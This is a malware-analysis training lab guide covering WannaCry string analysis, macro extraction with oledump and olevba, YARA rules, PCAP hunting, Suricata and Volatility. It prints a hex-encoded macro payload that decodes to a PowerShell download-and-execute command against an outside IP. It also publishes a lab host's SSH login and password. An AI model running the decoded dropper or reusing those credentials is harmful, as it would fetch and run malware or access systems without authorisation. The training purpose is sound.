Advanced Malware Analysis 2020

#####################################################
# Advanced Malware Analysis 2020                    #
# By Joe McCray                                     #
#####################################################

- Here is a good set of slides for getting started with Linux:
http://www.slideshare.net/olafusimichael/linux-training-24086319


- Here is a good tutorial that you should complete before doing the labs below:
http://linuxsurvival.com/linux-tutorial-introduction/


- I prefer to use Putty to SSH into my Linux host.
- You can download Putty from here:
- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Here is the information to put into putty

Host Name:          66.42.87.42
protocol:           ssh
port:               22
username:           ama
password:           ama-secureninja!




If you are on a Mac (https://osxdaily.com/2017/04/28/howto-ssh-client-mac/)

Open a terminal, then type:
-------------------------------
ssh -l ama 66.42.87.42
------------------------------



Indicators of Compromise (IoC)
-----------------------------

1. Modify the filesystem
2. Modify the registry          - ADVAPI32.dll (persistance)
3. Modify processes/services
4. Connect to the network       - WS2_32.dll



if you can't detect a registry change across 5% of your network



EDR Solution
------------


1. Static Analysis  <----------------------------------------- Cloud based static analysis
Learn everything I can without actually running the file
    - Modify FS                     - File integrity checker
    - Modify registry
    - Modify processes/services
    - Connect to the network



2. Dynamic Analysis
Runs the file in a VM/Sandbox

################
# The Scenario #
################
You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).


The fastest thing you can do is perform static analysis.




###################
# Static Analysis #
###################

---------------------------Type This-----------------------------------

cd ~/static_analysis

file wannacry.exe

cp wannacry.exe malware.pdf

file malware.pdf

hexdump -n 2 -C wannacry.exe

----------------------------------------------------------------------


***What is '4d 5a' or 'MZ'***
-------------------------Paste this URL into Firefox-----------------------------------
http://www.garykessler.net/library/file_sigs.html
---------------------------------------------------------------------------------------



---------------------------Type This-----------------------------------
cd ~/static_analysis

objdump -x wannacry.exe

objdump -x wannacry.exe | less
     q

strings wannacry.exe

strings wannacry.exe | grep -i dll

strings wannacry.exe | grep -i library

strings wannacry.exe | grep -i reg

strings wannacry.exe | grep -i key

strings wannacry.exe | grep -i rsa

strings wannacry.exe | grep -i open

strings wannacry.exe | grep -i get

strings wannacry.exe | grep -i mutex

strings wannacry.exe | grep -i irc

strings wannacry.exe | grep -i join

strings wannacry.exe | grep -i admin

strings wannacry.exe | grep -i list
----------------------------------------------------------------------







Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"

Quick Google search for "wannacry ransomeware analysis"


Reference
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/

- Yara Rule -


Strings:
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
$s2 = “Wanna Decryptor” wide ascii nocase
$s3 = “.wcry” wide ascii nocase
$s4 = “WANNACRY” wide ascii nocase
$s5 = “WANACRY!” wide ascii nocase
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase







Ok, let's look for the individual strings


---------------------------Type This-----------------------------------
cd ~/static_analysis

strings wannacry.exe | grep -i ooops

strings wannacry.exe | grep -i wanna

strings wannacry.exe | grep -i wcry

strings wannacry.exe | grep -i wannacry

strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
----------------------------------------------------------------------





####################################
# Tired of GREP - let's try Python #
####################################
Decided to make my own script for this kind of stuff in the future. This is a really good script for the basics of static analysis

Reference:
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html


This is really good for showing some good signatures to add to the Python script


---------------------------Type This-----------------------------------
cd ~/static_analysis

nano original_am.py
        ctrl-x

python3 original_am.py wannacry.exe
----------------------------------------------------------------------


#####################################################
# Analyzing Macro Embedded Malware                  #
#####################################################
---------------------------Type This-----------------------------------
cd ~/static_analysis/oledump

python oledump.py 064016.doc

python oledump.py 064016.doc -s A4 -v
 -----------------------------------------------------------------------



- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.

---------------------------Type This-----------------------------------
python oledump.py 064016.doc -s A5 -v
-----------------------------------------------------------------------

- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.

---------------------------Type This-----------------------------------
python oledump.py 064016.doc -s A3 -v

- Look for "GVhkjbjv" and you should see:

636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B

- Take that long blob that starts with 636D and finishes with 653B and paste it in:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
-----------------------------------------------------------------------




#########################################
# Security Operations Center Job Roles  #
# Intrusion Analysis Level 1            #
#########################################
Required Technical Skills: 		                        Comfortable with basic Linux/Windows (MCSA/Linux+)
								Comfortable with basic network (Network+)
								Comfortable with security fundamentals (Security+)





Job Task: 						        Process security events, follow incident response triage playbook

#########################################
# Security Operations Center Job Roles  #
# Intrusion Analysis Level 2            #
#########################################

Required Technical Skills: 		                        Comfortable with basic Linux/Windows system administration
								Comfortable with basic network administration
								Comfortable with basic programming
								Comfortable researching IT security issues





Job Task: 						        Perform detailed malware analysis, assist with development of the incident response triage playbook

#########################################
# Security Operations Center Job Roles  #
# Intrusion Analysis Level 3            #
#########################################

Required Technical Skills: 		                        Strong statistical analysis background
								Strong programming background (C, C++, Java, Assembly, scripting languages)
								Advanced system/network administration background
								Comfortable researching IT security issues





Job Task: 						        Perform detailed malware analysis
								Perform detailed statistical analysis
								Assist with development of the incident response triage playbook




-------------------------------------------------------------------------------------------------------------------------

Step 1: Receive suspicious file
-------------------------------
- Help Desk tickets
- SIEM
- AV
- EDR
- Email/Spam
- Proxy



Step 2: Perform static analysis
-------------------------------
1. Run strings/grep for primary IoCs
	- Modifies the registry
	- Modifies processes/services
	- Modifies the filesystem
	- Connects to the network

	A yes to these should help you determine whether you want to do dynamic analysis or not

	Consideration 1: Encryption/Obfuscation - you may have to do dynamic analysis

	Consideration 2: If you dealing with anti-analysis - you may have to do static analysis





Step 3: Determine if the malware modifies the registry
------------------------------------------------------


---------------------------Type This-----------------------------------
cd ~/static_analysis/

strings wannacry.exe | grep -i reg

strings wannacry.exe | grep -i hkcu

strings wannacry.exe | grep -i hklm

strings wannacry.exe | grep -i hkcr
-----------------------------------------------------------------------



Step 4: Determine if the malware modifies processes/services
------------------------------------------------------------

---------------------------Type This-----------------------------------
cd ~/static_analysis/
strings wannacry.exe | grep -i advapi32

strings wannacry.exe | grep -i service

strings wannacry.exe | grep -i OpenSCManagerA

strings wannacry.exe | grep -i OpenSCManagerA

strings wannacry.exe | grep -i InternetCloseHandle

strings wannacry.exe | grep -i OpenServiceA

strings wannacry.exe | grep -i CloseServiceHandle

strings wannacry.exe | grep -i StartServiceCtrlDispatcherA

strings wannacry.exe | grep -i GetExitCodeProcess

strings wannacry.exe | grep -i GetProcAddress
-----------------------------------------------------------------------



Step 4: Determine if the malware modifies the file system
------------------------------------------------------------

---------------------------Type This-----------------------------------
cd ~/static_analysis/
strings wannacry.exe | grep -i GetTempPathW

strings wannacry.exe | grep -i GetWindowsDirectoryW

strings wannacry.exe | grep -i %TEMP%

strings wannacry.exe | grep -i GetFileAttributesA
-----------------------------------------------------------------------





Step 5: Does the malware have any persistence capability
--------------------------------------------------------
3 main ways for an attacker to maintain access to a compromised system (persistence)

- Registry
- Service
- Scheduled task




##############
# Class task #
##############

Task 1: Go to https://joesecurity.org/joe-sandbox-reports

Identify 5 reports for malware that are similar to what you've seen or been concerned about in your environment

1. Maze
2. Bad rabbit
3. Trojanized Adobe Installer
4. Emotel
5. bitcoin miner



Task 2: What do you want to be able to find
What did you see in each of these reports that you found interesting and would like to be able to look for in your investigations?

Task 3: Identify the unique strings that you would like to search for
1.
2.
3.


Task 4: Unique classes of attack
Identify the unique classes of signatures that interest us the most that are NOT in my am.py file list
1. Trickier http request methods
2. Dynamic libraries/API calls
3. Lateral movement



Task 5: Identify limitations of the script
1. Only analyzes exes
2. Too many functions and no classes
3. Not modular enough
4. Signature list is not very thorough
5. Doesn't save to db



---------------------------Type This-----------------------------------
cd /home/ama/malware_samples/office-doc_files

file sample1.doc

olevba sample1.doc

python /home/ama/static_analysis/oledump/oledump.py sample1.doc
----------------------------------------------------------------------


What is oledump.py?
===================

Reference: https://blog.didierstevens.com/programs/oledump-py/

oledump.py is a program to analyze OLE files (Compound File Binary Format). These files contain streams of data. oledump allows you to analyze these streams.

Many applications use this file format, the best known is MS Office. .doc, .xls, .ppt, … are OLE files (docx, xlsx, … is the new file format: XML inside ZIP).



What is olevba?
===============

Reference: https://github.com/decalage2/oletools/wiki/olevba

olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to detect VBA Macros, extract their source code in clear text, and detect security-related patterns such as auto-executable macros, suspicious VBA keywords used by malware, anti-sandboxing and anti-virtualization techniques, and potential IOCs (IP addresses, URLs, executable filenames, etc). It also detects and decodes several common obfuscation methods including Hex encoding, StrReverse, Base64, Dridex, VBA expressions, and extracts IOCs from decoded strings. XLM/Excel 4 Macros are also supported in Excel and SLK files.

It can be used either as a command-line tool, or as a python module from your own applications.

It is part of the python-oletools package.


Now let's dig in with oledump



---------------------------Type This-----------------------------------
cd /home/ama/malware_samples/office-doc_files

python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A7 -v

python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A8 -v

python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A9 -v
----------------------------------------------------------------------






Now let's dig in with olevba



---------------------------Type This-----------------------------------
cd /home/ama/malware_samples/office-doc_files

olevba sample1.doc --decode

olevba sample1.doc --deobf
----------------------------------------------------------------------



                              ###########
############################## EXE Files ###############################
                              ###########

OK, let's take a look at exe files



---------------------------Type This-----------------------------------
cd /home/ama/malware_samples/exe_files

objdump -x sample1.exe

objdump -x sample1.exe | less
     q

strings sample1.exe

strings sample1.exe | grep -i dll

strings sample1.exe | grep -i library

strings sample1.exe | grep -i reg

strings sample1.exe | grep -i key

strings sample1.exe | grep -i rsa

strings sample1.exe | grep -i open

strings sample1.exe | grep -i get

strings sample1.exe | grep -i mutex

strings sample1.exe | grep -i irc

strings sample1.exe | grep -i join

strings sample1.exe | grep -i admin

strings sample1.exe | grep -i list

python3 ~/static_analysis/previous_class_am.py sample1.exe
----------------------------------------------------------------------



Let's play with another tool called pyew.


Reference: https://github.com/joxeankoret/pyew

Pyew is a tool like radare or biew/hiew. It’s an hexadecimal viewer, disassembler for IA32 and AMD64 with support for PE & ELF formats as well as other non executable formats, like OLE2 or PDF.




---------------------------Type This-----------------------------------
pyew sample1.exe

[0x00000000]> ?

[0x00000000]> md5

[0x00000000]> sha256

[0x00000000]> url

[0x00000000]> chkurl
----------------------------------------------------------------------

Since this is a PE file, let's do some stuff that's specific for exe files

Here are the commands again:
Commands:

?/help                            Show this help
x/dump/hexdump                    Show hexadecimal dump
s/seek                            Seek to a new offset
g/G                               Goto BOF (g) or EOF (G)
+/-                               Go forward/backward one block (specified by pyew.bsize)
c/d/dis/pd                        Show disassembly
r/repr                            Show string represantation
p                                 Print the buffer
/x expr                           Search hexadecimal string
/s expr                           Search strings
/i expr                           Search string ignoring case
/r expr                           Search regular expression
/u expr                           Search unicode expression
/U expr                           Search unicode expression ignoring case


Now, let's see the disassembly at the entry point so, seek to the entry point:
---------------------------Type This-----------------------------------
[0x00000000]> s ep
-----------------------------------------------------------------------


And disassemble it with the command "c" (you may also use "d", "dis" or "pd"):
---------------------------Type This-----------------------------------
[0x00025ce0:0x00426ae0]> c
-----------------------------------------------------------------------

To see the code at the function's position, just type the number assigned to the function (the number after the ";" character):
---------------------------Type This-----------------------------------
[0x00025ce0:0x00426ae0]> 1
[0x00025d07:0x00426b07]> 2
-----------------------------------------------------------------------



OK, we're done analyzing this function. To go back to the prior point (the entry point in our case) we can type "b" to go back:
---------------------------Type This-----------------------------------
[0x00025d07:0x00426b07]> b
-----------------------------------------------------------------------


To continue seeing more disassembly just press the enter key to see the next block's disasembly (BTW, if the last command was "x" to show the hexadecimal dump, by pressing enter you would see the next block's hexadecimal dump):



To list the functions detected by Pyew type "pyew.names":
---------------------------Type This-----------------------------------
[0x00025cfe:0x00426afe]> pyew.names
-----------------------------------------------------------------------


Let's see if it was packed
---------------------------Type This-----------------------------------
[0x00025ce0:0x00426ae0]> packer
-----------------------------------------------------------------------


Let's see if it uses any anti virutal machine tricks
---------------------------Type This-----------------------------------
[0x00025ce0:0x00426ae0]> antivm
-----------------------------------------------------------------------







##############
# Yara Ninja #
##############
Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"

Quick Google search for "wannacry ransomeware analysis"


Reference
https://www.mcafee.com/blogs/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/



- Yara Rule -


Strings:
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
$s2 = “Wanna Decryptor” wide ascii nocase
$s3 = “.wcry” wide ascii nocase
$s4 = “WANNACRY” wide ascii nocase
$s5 = “WANACRY!” wide ascii nocase
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase








Ok, let's look for the individual strings

---------------------------Type This-----------------------------------


strings wannacry.exe | grep -i ooops

strings wannacry.exe | grep -i wanna

strings wannacry.exe | grep -i wcry

strings wannacry.exe | grep -i wannacry

strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....


-----------------------------------------------------------------------


#####################
# Playing with Yara #
#####################
Let's see if we can get yara working.







---------------------------Type This-----------------------------------
cd ~/students/

mkdir [yourname]

cd [yourname]

cp ~/wannacry.exe .

nano wannacry_1.yar

---------------------------Paste This-----------------------------------
rule wannacry_1 : ransom
{
    meta:
        author = "Joshua Cannell"
        description = "WannaCry Ransomware strings"
        weight = 100
        date = "2017-05-12"

    strings:
        $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
        $s2 = "Wanna Decryptor" wide ascii nocase
        $s3 = ".wcry" wide ascii nocase
        $s4 = "WANNACRY" wide ascii nocase
        $s5 = "WANACRY!" wide ascii nocase
        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase

    condition:
        any of them
}

----------------------------------------------------------------------------





---------------------------Type This-----------------------------------

yara wannacry_1.yar wannacry.exe

-----------------------------------------------------------------------





---------------------------Type This-----------------------------------

nano wannacry_2.yar

---------------------------Paste This-----------------------------------
rule wannacry_2{
    meta:
        author = "Harold Ogden"
        description = "WannaCry Ransomware Strings"
        date = "2017-05-12"
        weight = 100

    strings:
        $string1 = "msg/m_bulgarian.wnry"
        $string2 = "msg/m_chinese (simplified).wnry"
        $string3 = "msg/m_chinese (traditional).wnry"
        $string4 = "msg/m_croatian.wnry"
        $string5 = "msg/m_czech.wnry"
        $string6 = "msg/m_danish.wnry"
        $string7 = "msg/m_dutch.wnry"
        $string8 = "msg/m_english.wnry"
        $string9 = "msg/m_filipino.wnry"
        $string10 = "msg/m_finnish.wnry"
        $string11 = "msg/m_french.wnry"
        $string12 = "msg/m_german.wnry"
        $string13 = "msg/m_greek.wnry"
        $string14 = "msg/m_indonesian.wnry"
        $string15 = "msg/m_italian.wnry"
        $string16 = "msg/m_japanese.wnry"
        $string17 = "msg/m_korean.wnry"
        $string18 = "msg/m_latvian.wnry"
        $string19 = "msg/m_norwegian.wnry"
        $string20 = "msg/m_polish.wnry"
        $string21 = "msg/m_portuguese.wnry"
        $string22 = "msg/m_romanian.wnry"
        $string23 = "msg/m_russian.wnry"
        $string24 = "msg/m_slovak.wnry"
        $string25 = "msg/m_spanish.wnry"
        $string26 = "msg/m_swedish.wnry"
        $string27 = "msg/m_turkish.wnry"
        $string28 = "msg/m_vietnamese.wnry"


    condition:
        any of ($string*)
}
----------------------------------------------------------------------------








---------------------------Type This-----------------------------------

yara wannacry_2.yar wannacry.exe

-----------------------------------------------------------------------



---------------------------Type This-----------------------------------
cd ~

yara rules/index.yar wannacry.exe

cd rules/

ls

cd malware/

ls | grep -i ransom

ls | grep -i rat

ls | grep -i toolkit

ls | grep -i apt

cd ..

cd capabilities/

ls

cat capabilities.yar

cd ..

cd cve_rules/

ls

cd ..

./index_gen.sh

cd ..

yara rules/index.yar wannacry.exe

yara rules/index.yar wannacry.exe > ~/students/[yourname]/blah

cd ~/students/[yourname]

cat blah | grep -v warning




-----------------------------------------------------------------------




                            ###############################
----------- ############### # Threat Hunting on the wire  # ############### -----------
                            ###############################




##################################################################
# Analyzing a PCAP Prads                                         #
# Note: run as regular user                                      #
##################################################################

---------------------------Type this as a regular user----------------------------------

cd ~/pcap_analysis/prads

prads -r suspicious-time.pcap -l prads-asset.log

cat prads-asset.log | less

cat prads-asset.log | grep SYN | grep -iE 'windows|linux'

cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'

cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
-----------------------------------------------------------------------




##################################
# PCAP Analysis with ChaosReader #
# Note: run as regular user      #
##################################
---------------------------Type this as a regular user----------------------------------

cd ~/pcap_analysis/chaos_reader/

perl chaosreader.pl suspicious-time.pcap

cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"

cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr


for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u



for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u | awk '{print $5}' > url.lst


python check-urls-virustotal.py url.lst

------------------------------------------------------------------------








#############################
# PCAP Analysis with tshark #
# Note: run as regular user #
#############################
---------------------------Type this as a regular user---------------------------------
cd ~/pcap_analysis/tshark

tshark -i ens3 -r suspicious-time.pcap -qz io,phs

tshark -r suspicious-time.pcap -qz ip_hosts,tree

tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq

tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"


tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'

whois rapidshare.com.eyu32.ru

whois sploitme.com.cn

tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'

tshark -r suspicious-time.pcap -qz http_req,tree

tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst

tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
------------------------------------------------------------------------


###############################
# Extracting files from PCAPs #
# Note: run as regular user   #
###############################
---------------------------Type this as a regular user---------------------------------

cd ~/pcap_analysis/extract_files

foremost -v -i suspicious-time.pcap

cd output

ls

cat audit.txt

cd exe

wget https://raw.githubusercontent.com/GREEKYnikhilsharma/Xen0ph0n-VirusTotal_API_Tool-Python3/master/vtlite.py

******* NOTE: You will need to put your virustotal API key in vtlite.py *******

for f in *.exe; do python3 vtlite.py -s $f; sleep 15; done
---------------------------------------------------------------------------------------



###################################
# Setting up Suricata             #
# Note: run as root user          #
###################################


Here is where we will setup all of the required dependencies for the tools we plan to install
---------------------------Type this as root--------------------------
apt update
apt-get install -y libpcre3-dbg libpcre3-dev autoconf automake libtool libpcap-dev libnet1-dev libyaml-dev libjansson4 libcap-ng-dev libmagic-dev libjansson-dev zlib1g-dev libnetfilter-queue-dev libnetfilter-queue1 libnfnetlink-dev cmake make gcc g++ flex bison libpcap-dev libssl-dev unzip python-dev swig zlib1g-dev sendmail sendmail-bin prads tcpflow python-scapy python-yara tshark whois jq prads foremost python3-dnspython
-----------------------------------------------------------------------




Now we install Suricata
---------------------------Type this  as root-------------------------------
cd /root/

wget https://www.openinfosecfoundation.org/download/suricata-4.0.5.tar.gz

tar -zxvf suricata-4.0.5.tar.gz

cd suricata-4.0.5

./configure --enable-nfqueue --prefix=/usr --sysconfdir=/etc --localstatedir=/var

make

make install

make install-conf

cd rules

cp *.rules /etc/suricata/rules/

cd /etc/suricata/

wget https://rules.emergingthreats.net/open/suricata-4.0/emerging.rules.tar.gz

tar -zxvf emerging.rules.tar.gz
-----------------------------------------------------------------------





###############################
# PCAP Analysis with Suricata #
# Note: run as root           #
###############################
--------------------------Type this as root--------------------------------
cd ~

mkdir suricata/

cd suricata/

wget http://45.63.104.73/suspicious-time.pcap

sudo suricata -c /etc/suricata/suricata.yaml -r suspicious-time.pcap -l suri/

cd suri/

cat stats.log | less

cat eve.json |grep -E "e\":\"http"|jq ".timestamp,.http"|csplit - /..T..:/ {*}

cat xx01

cat xx02

cat xx03

cat xx04

cat xx05

cat xx06
------------------------------------------------------------------------


#############################
# PCAP Analysis with Yara   #
# Note: run as regular user #
#############################
-------------------------Type this as a regular user----------------------------------
cd ~/pcap_analysis/YaraPcap/


python yaraPcap.py rules-master/index.yar suspicious-time.pcap -s matching_files/


cd matching_files/

ls

cat report.txt
------------------------------------------------------------------------



cd ~/memory_analysis/
volatility -h
volatility pslist -f hn_forensics.vmem
volatility connscan -f hn_forensics.vmem
volatility -f hn_forensics.vmem memdump -p 888 -D dump/
volatility -f hn_forensics.vmem memdump -p 1752 -D dump/
				***Takes a few min***
cd ~/memory_analysis/dump/
strings 1752.dmp | grep "^http://" | sort | uniq
strings 1752.dmp | grep "Ahttps://" | uniq -u
cd ..
foremost -i dump/1752.dmp -t pdf -o output/pdf/
cd ~/memory_analysis/output/pdf/
cat audit.txt
cd pdf
ls
grep -i javascript *.pdf



cd ~/memory_analysis/output/pdf/pdf/
python pdf-parser.py -s javascript --raw 00601560.pdf
python pdf-parser.py --object 11 00601560.pdf
python pdf-parser.py --object 1054 --raw --filter 00601560.pdf
python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js

cat malicious.js
-----------------------------------------------------------------------



##################################
# Lesson 8: Intro to Log Analysis #
##################################


Log into your Linux host then execute the following commands:
-----------------------------------------------------------------------
NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.



---------------------------Type This-----------------------------------
cd ~/students/[yourname]

wget http://pastebin.com/raw/85zZ5TZX

mv 85zZ5TZX access_log


cat access_log | grep 141.101.80.188

cat access_log | grep 141.101.80.188 | wc -l

cat access_log | grep 141.101.80.187

cat access_log | grep 141.101.80.187 | wc -l

cat access_log | grep 108.162.216.204

cat access_log | grep 108.162.216.204 | wc -l

cat access_log | grep 173.245.53.160

cat access_log | grep 173.245.53.160 | wc -l

----------------------------------------------------------------------







######################################################
# Python: Use Python to read in a file line by line  #
######################################################


---------------------------Type This-----------------------------------

nano logread1.py


---------------------------Paste This-----------------------------------
## Open the file with read only permit
f = open('access_log', "r")

## use readlines to read all lines in the file
## The variable "lines" is a list containing all lines
lines = f.readlines()

print (lines)


## close the file after reading the lines.
f.close()

----------------------------------------------------------------------




---------------------------Type This-----------------------------------
$ python3 logread1.py
----------------------------------------------------------------------



Google the following:
    - python difference between readlines and readline
    - python readlines and readline


Here is one student's solution - can you please explain each line of this code to me?


---------------------------Type This-----------------------------------
nano ip_search.py


---------------------------Paste This-----------------------------------
#!/usr/bin/env python3

f = open('access_log')

strUsrinput = input("Enter IP Address: ")

for line in iter(f):
   ip = line.split(" - ")[0]
   if ip == strUsrinput:
       print (line)

f.close()


----------------------------------------------------------------------




---------------------------Type This-----------------------------------
$ python3 ip_search.py
----------------------------------------------------------------------



Working with another student after class we came up with another solution:

---------------------------Type This-----------------------------------
nano ip_search2.py

---------------------------Paste This-----------------------------------
#!/usr/bin/env python3


# This line opens the log file
f=open('access_log',"r")

# This line takes each line in the log file and stores it as an element in the list
lines = f.readlines()


# This lines stores the IP that the user types as a var called userinput
userinput = input("Enter the IP you want to search for: ")



# This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
for ip in lines:
   if ip.find(userinput) != -1:
       print (ip)

----------------------------------------------------------------------



---------------------------Type This-----------------------------------
$ python3 ip_search2.py
----------------------------------------------------------------------




##################
# Challenge Labs #
##################
---------------------------Type this as a regular user----------------------------------

cd ~/pcap_analysis/prads

cp /home/ama/mta_challenge/pizzabender.pcap .

prads -r pizzabender.pcap -l prads-asset.log

cat prads-asset.log | less

cat prads-asset.log | grep SYN | grep -iE 'windows|linux'

cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'

cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
-----------------------------------------------------------------------




##################################
# PCAP Analysis with ChaosReader #
# Note: run as regular user      #
##################################
---------------------------Type this as a regular user----------------------------------

cd ~/pcap_analysis/chaos_reader/

rm -rf stream* *.html session* image* index* url* *.text

cp /home/ama/mta_challenge/pizzabender.pcap .

perl chaosreader.pl pizzabender.pcap

cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"

cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr


for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u



for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u | awk '{print $5}' > url.lst


python check-urls-virustotal.py url.lst

------------------------------------------------------------------------








#############################
# PCAP Analysis with tshark #
# Note: run as regular user #
#############################
---------------------------Type this as a regular user---------------------------------
cd ~/pcap_analysis/tshark

cp /home/ama/mta_challenge/pizzabender.pcap .

tshark -i ens3 -r pizzabender.pcap -qz io,phs

tshark -r pizzabender.pcap -qz ip_hosts,tree

tshark -r pizzabender.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq

tshark -r pizzabender.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"


tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'


tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'

tshark -r pizzabender.pcap -qz http_req,tree

tshark -r pizzabender.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst

tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.8.21.163 | sed -e 's/\?[^cse].*/\?\.\.\./g'

tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.8.21.163 | grep -v 239.255.255.250 | sed -e 's/\?[^cse].*/\?\.\.\./g'
------------------------------------------------------------------------


###############################
# Extracting files from PCAPs #
# Note: run as regular user   #
###############################
---------------------------Type this as a regular user---------------------------------

cd ~/pcap_analysis/extract_files

cp /home/ama/mta_challenge/pizzabender.pcap .

rm -rf output

mkdir output

foremost -v -i pizzabender.pcap

cd output

ls

cat audit.txt

cd exe

cp ~/vtlite.py .

for f in *.exe; do python3 vtlite.py -s $f; sleep 15; done
---------------------------------------------------------------------------------------

#############################
# PCAP Analysis with Yara   #
# Note: run as regular user #
#############################
-------------------------Type this as a regular user----------------------------------
cd ~/pcap_analysis/YaraPcap/

cp /home/ama/mta_challenge/pizzabender.pcap .


python yaraPcap.py rules-master/index.yar pizzabender.pcap -s mta_matching_files/


cd mta_matching_files/

ls

cat report.txt
------------------------------------------------------------------------